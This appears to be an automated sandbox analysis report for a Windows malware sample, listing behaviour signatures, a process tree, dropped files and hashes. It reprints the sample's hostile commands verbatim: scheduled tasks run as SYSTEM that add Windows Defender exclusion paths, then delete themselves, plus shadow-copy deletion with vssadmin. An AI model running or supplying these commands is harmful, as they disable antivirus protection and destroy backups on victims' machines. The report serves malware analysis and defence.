Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/08/2026, 23:26

General

  • Target
    insoft_v10.0.18.exe
  • Size 35.0MB
  • Sample260815-3fca2swvbz
  • SHA256 a9757bbb1913b9681989b9d6d00d8ecddf53d10de7e4cbfe313fcdc5bb300e53
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 9 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.18.exe
    "C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.18.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5456
  • C:\Users\Public\2eaFfZ\acwmKq.exe
    C:\Users\Public\2eaFfZ\acwmKq.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5316
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2eaFfZ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4380
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2eaFfZ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4036
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4972
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2620
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5812
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4996
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4732
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5496
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:404
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:472
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2368
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1424
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3916
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4388
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3008
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5396
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2064
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:444
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5644
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5308
                        • C:\Program Files (x86)\s9bm4u\s9bm4u.exe
                          "C:\Program Files (x86)\s9bm4u\s9bm4u.exe"
                          2⤵
                          • UAC bypass
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • System Location Discovery: System Language Discovery
                          • System policy modification
                          PID:5216
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c vssadmin delete shadows /all /quiet
                            3⤵
                            • Executes a command shell one-liner
                            PID:5744
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\s9bm4u" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            PID:1696
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\s9bm4u" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              PID:1556
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            PID:2236
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            PID:5556
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            PID:1816
                      • C:\Users\Public\2eaFfZ\acwmKq.exe
                        "C:\Users\Public\2eaFfZ\acwmKq.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4780
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2eaFfZ" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4356
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2eaFfZ" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5536
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4848
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1080
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:180
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:312
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1932
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:396
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4988
                        • C:\Program Files (x86)\s9bm4u\s9bm4u.exe
                          "C:\Program Files (x86)\s9bm4u\s9bm4u.exe"
                          1⤵
                            PID:632
                          • C:\Program Files (x86)\Q0Iqqm9A\FQebu4.exe
                            "C:\Program Files (x86)\Q0Iqqm9A\FQebu4.exe"
                            1⤵
                              PID:3520

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\Q0Iqqm9A\XPSPLOG.dll
                                  • Size 4.6MB
                                  • SHA256 a4d341fed8f81c020efa879e16ba3c427c336e2b75d3cdd781401c1c91d1cc32
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\s9bm4u\XPSPLOG.dll
                                  • Size 4.6MB
                                  • SHA256 4587b19fc2d0795801a3ecdc13acf2121de259441f966c1af1a1f36346194154
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  image.png

                                  • Path C:\Program Files (x86)\s9bm4u\image.png
                                  • Size 5.0MB
                                  • SHA256 dbd438eb2cf3ca3487e7fad30468a24c431df0d617be297122dad975aad2c8fe
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  s9bm4u.exe

                                  • Path C:\Program Files (x86)\s9bm4u\s9bm4u.exe
                                  • Size 145KB
                                  • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  thumbs.db

                                  • Path C:\Program Files (x86)\s9bm4u\thumbs.db
                                  • Size 358KB
                                  • SHA256 170fc9f592679462ecb0782199e9bf770dc7d4a8f8429d422e9135f1080a7abc
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\2eaFfZ\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 f24120dbfe60c62e14664f65c0c3a8e2a258907315af1589561e45749b60b195
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  acwmKq.exe

                                  • Path C:\Users\Public\2eaFfZ\acwmKq.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\2eaFfZ\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 d3f581b918d5db6d249510e2d27598914338ea01410138d2f982c534178f21ab
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\2eaFfZ\msadox.tb
                                  • Size 8KB
                                  • SHA256 b15e4d4e370a7af1f4d8b8f1ef69ed3d63d9c895289c82728cb2cbe5d7846868
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  destopbak.ini

                                  • Path C:\Users\Public\Music\destopbak.ini
                                  • Size 2B
                                  • SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
                                  • MD5 SHA1 SHA512

                                  memory/632-722-0x0000000000E50000-0x0000000000E51000-memory.dmp

                                  memory/632-723-0x0000000074A60000-0x00000000751AA000-memory.dmp

                                  memory/4780-592-0x0000029F03160000-0x0000029F039E7000-memory.dmp

                                  memory/4780-584-0x00007FFF90000000-0x00007FFF90002000-memory.dmp

                                  memory/4780-590-0x0000029F03160000-0x0000029F039E7000-memory.dmp

                                  memory/4780-585-0x0000029F03160000-0x0000029F039E7000-memory.dmp

                                  memory/4780-593-0x00007FFF8FFF0000-0x00007FFF8FFF2000-memory.dmp

                                  memory/4780-589-0x0000029F03160000-0x0000029F039E7000-memory.dmp

                                  memory/4780-576-0x0000029F03160000-0x0000029F039E7000-memory.dmp

                                  memory/4780-573-0x00007FFF71DE0000-0x00007FFF722FE000-memory.dmp

                                  memory/4780-591-0x0000029F03160000-0x0000029F039E7000-memory.dmp

                                  memory/5216-673-0x00000000016E0000-0x00000000016E1000-memory.dmp

                                  memory/5216-685-0x0000000004420000-0x0000000004434000-memory.dmp

                                  memory/5216-705-0x0000000003A50000-0x0000000004253000-memory.dmp

                                  memory/5216-701-0x0000000003A50000-0x0000000004253000-memory.dmp

                                  memory/5216-666-0x00000000016C0000-0x00000000016C1000-memory.dmp

                                  memory/5216-688-0x0000000003A50000-0x0000000004253000-memory.dmp

                                  memory/5216-667-0x0000000074A60000-0x00000000751AA000-memory.dmp

                                  memory/5216-671-0x0000000003A50000-0x0000000004253000-memory.dmp

                                  memory/5216-702-0x0000000010000000-0x0000000010061000-memory.dmp

                                  memory/5216-678-0x0000000003A50000-0x0000000004253000-memory.dmp

                                  memory/5216-675-0x0000000003A50000-0x0000000004253000-memory.dmp

                                  memory/5316-543-0x000001F14EEE0000-0x000001F14F767000-memory.dmp

                                  memory/5316-545-0x000001F14EEE0000-0x000001F14F767000-memory.dmp

                                  memory/5316-564-0x000001F14EEE0000-0x000001F14F767000-memory.dmp

                                  memory/5316-558-0x000001F14FC90000-0x000001F14FD1A000-memory.dmp

                                  memory/5316-555-0x000001F14F7B0000-0x000001F14F7FE000-memory.dmp

                                  memory/5316-556-0x000001F14FC90000-0x000001F14FD1A000-memory.dmp

                                  memory/5316-559-0x000001F14FC90000-0x000001F14FD1A000-memory.dmp

                                  memory/5316-557-0x000001F14FC90000-0x000001F14FD1A000-memory.dmp

                                  memory/5316-550-0x000001F14EEE0000-0x000001F14F767000-memory.dmp

                                  memory/5316-546-0x000001F14EEE0000-0x000001F14F767000-memory.dmp

                                  memory/5316-538-0x00007FFF90000000-0x00007FFF90002000-memory.dmp

                                  memory/5316-565-0x000001F14EEE0000-0x000001F14F767000-memory.dmp

                                  memory/5316-544-0x000001F14EEE0000-0x000001F14F767000-memory.dmp

                                  memory/5316-539-0x000001F14EEE0000-0x000001F14F767000-memory.dmp

                                  memory/5316-530-0x00007FFF8FFF0000-0x00007FFF8FFF2000-memory.dmp

                                  memory/5316-536-0x000001F14EEE0000-0x000001F14F767000-memory.dmp

                                  memory/5316-531-0x00007FFF71DE0000-0x00007FFF722FE000-memory.dmp

                                  memory/5456-0-0x00000000001F0000-0x00000000001FE000-memory.dmp

                                  memory/5456-524-0x00000000001F0000-0x00000000001FE000-memory.dmp

                                  memory/5456-525-0x00007FFF8AA20000-0x00007FFF8AA30000-memory.dmp

                                  memory/5456-504-0x00007FFF8AA20000-0x00007FFF8AA30000-memory.dmp

                                  memory/5456-2-0x0000000000510000-0x000000000051C000-memory.dmp

                                  memory/5456-1-0x00000000001F0000-0x00000000001FE000-memory.dmp